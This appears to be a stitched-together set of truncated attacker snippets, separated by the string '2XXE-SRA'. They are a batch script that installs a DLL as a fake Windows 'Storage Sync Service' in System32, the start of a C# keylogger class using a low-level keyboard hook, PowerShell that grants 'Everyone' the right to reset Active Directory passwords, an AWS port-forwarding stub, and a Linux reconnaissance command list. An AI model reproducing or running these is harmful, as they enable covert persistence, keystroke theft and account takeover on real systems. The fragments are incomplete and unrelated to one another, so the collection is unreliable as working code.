2XXE-SRA

@echo off
set "WORK_DIR=C:\Windows\System32"
set "DLL_NAME=storesyncsvc.dll"
set "SERVICE_NAME=StorSyncSvc"
set "DISPLAY_NAME=Storage Sync Service"
set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly."
sc stop %SERVICE_NAME%
sc delete %SERVICE_NAME%
mkdir %WORK_DIR%
copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y

2XXE-SRA

using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

class InterceptKeys
{
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;

2XXE-SRA

# get SID for "Everyone" principal
$sid = [Security.Principal.securityidentifier]::new([System.Security.Principal.WellKnownSidType]::WorldSid, $null)
$everyone = $sid.Translate([security.principal.ntaccount])

# change user password permissions
$adRight=[DirectoryServices.ActiveDirectoryRights]"ExtendedRight"
$pguid = new-object GUID "ab721a53-1e2f-11d0-9819-00aa0040529b"  # refer to https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/1522b774-6464-41a3-87a5-1e5633c3fbbb

# craft an ACE that grants "Everyone" "Allow" for changing user password 
$accessRuleArgs = $everyone,$adRight,"Allow",$pguid,"None"

2XXE-SRA

import json
import docker
import os
import boto3
import subprocess

TARGET_INSTANCE = "<instance ID>"
LOCAL_PORT = "9999"
REGION = "us-east-1"
PROFILE = "default"

2XXE-SRA

#!/bin/bash
df -aH
ip addr
netstat -tulpn
ps -aux 
who -a 
systemctl list-units --type=service --no-pager
service --status-all
apt list --installed